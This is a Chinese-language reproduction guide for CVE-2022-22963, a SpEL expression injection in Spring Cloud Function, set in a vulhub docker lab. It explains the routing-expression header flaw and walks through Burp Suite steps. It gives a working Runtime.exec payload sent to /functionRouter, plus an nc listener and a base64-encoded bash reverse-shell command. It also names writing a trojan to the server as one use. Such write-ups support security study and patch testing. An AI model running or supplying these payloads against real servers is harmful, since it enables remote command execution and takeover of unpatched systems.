CVE-2022-22963
影响范围:
Spring Cloud Function 3.0.0 - 3.1.6
Spring Cloud Function 3.2.0 - 3.2.2
漏洞类型:
SpEL表达式注入
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
命令执行,进行反弹shell,写入木马
利用原理:
Spring Cloud Function引入RoutingFunction功能,允许开发者根据特定条件动态将请求分发给不同函数执行,框架允许通过HTTP Header来指定路由逻辑。当请求到达时,RoutingFunction会检查是否存在特定HTTP请求头:spring.cloud.function.routing-expression,如果存在该Header,框架会将其值作为SpEL表达式处理,攻击者可以构造恶意payload注入到spring.cloud.function.routing-expression属性值,服务器处理POST请求时候,识别到恶意payload就会触发解析,执行恶意命令。POST请求主体不能为空,若为空,Spring的MessageConverter可能不会触发后续参数绑定和路由解析流程
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2022-22963
#拉取镜像
docker-compose up -d
用burpsuite抓取http://公网:8080/uppercase数据包

发送到Repeater模块

修改请求类型为POST,路径改为/functionRouter,将内容类型改为Content-Type: text/plain,并在内容类型上一行注入恶意代码,创建/tmp/success,还要在请求主体写入数据,这里填test
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
返回500

进入容器查看文件夹tmp,发现success文件,说明成功执行敏感命令

下面尝试进行反弹shell,开启监听,nc -lvvp 7777

将下面命令替换到原payload的touch /tmp/success
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}
连接成功,虽然不稳定
